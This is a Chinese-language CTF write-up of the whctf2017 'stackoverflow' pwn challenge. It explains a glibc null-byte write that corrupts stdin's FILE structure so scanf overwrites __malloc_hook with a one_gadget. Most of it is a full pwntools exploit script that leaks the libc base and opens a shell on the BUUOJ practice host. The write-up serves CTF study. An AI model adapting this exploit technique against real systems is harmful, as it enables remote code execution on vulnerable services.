whctf2017_stackoverflow(glibc任意地址寫一個0字節漏洞利用)

whctf2017_stackoverflow(glibc任意地址寫一個0字節漏洞利用)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

輸入name的功能可以用於地址泄露

在主功能裏,存在一個glibc任意地址寫入一個0字節的漏洞,我們可以通過malloc一個很大的堆,這樣系統調用mmap分配內存,其地址靠近glibc地址,並且偏移固定,這樣,我們就能玩glibc裏任意地址寫一個\x00字節,我們可以劫持_IO_2_1_stdin裏的IO_buf_base成員低1字節爲\x00,這樣,我們調用scanf的時候,就能控制IO_2_1_stdin結構體,然後,我們將IO_buf_base等成員改成malloc_hook_addr,這樣,然後經過多次getc,最後平衡後就scanf可以往malloc_hook_addr處寫數據了,寫入one_gadget即可。

#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#sh = process('./stackoverflow')
sh = remote('node3.buuoj.cn',26391)
sh.sendafter('leave your name, bro:','a'*0x20)
sh.recvuntil('a'*0x20)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym['_IO_2_1_stdout_']
one_gadget_addr = libc_base + 0xf1147
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
print 'libc_base=',hex(libc_base)
print 'one_gadget_addr=',hex(one_gadget_addr)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
#覆蓋stdin的_IO_write_ptr的低1字節爲0
sh.sendlineafter('please input the size to trigger stackoverflow:',str(0x6C5908))
sh.sendlineafter('please input the size to trigger stackoverflow:',str(0x300000))
raw_input()
sh.sendlineafter('padding and ropchain:','haivk')
sh.sendafter('please input the size to trigger stackoverflow:',p64(malloc_hook_addr)*2 + p64(malloc_hook_addr + 0x8) + p64(malloc_hook_addr) + p64(malloc_hook_addr + 0x8))
sh.sendlineafter('padding and ropchain:','haivk')
for i in range(39):
   sh.sendlineafter('please input the size to trigger stackoverflow:',str('1'))
#寫malloc_hook
sh.sendlineafter('please input the size to trigger stackoverflow:',p64(one_gadget_addr))

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章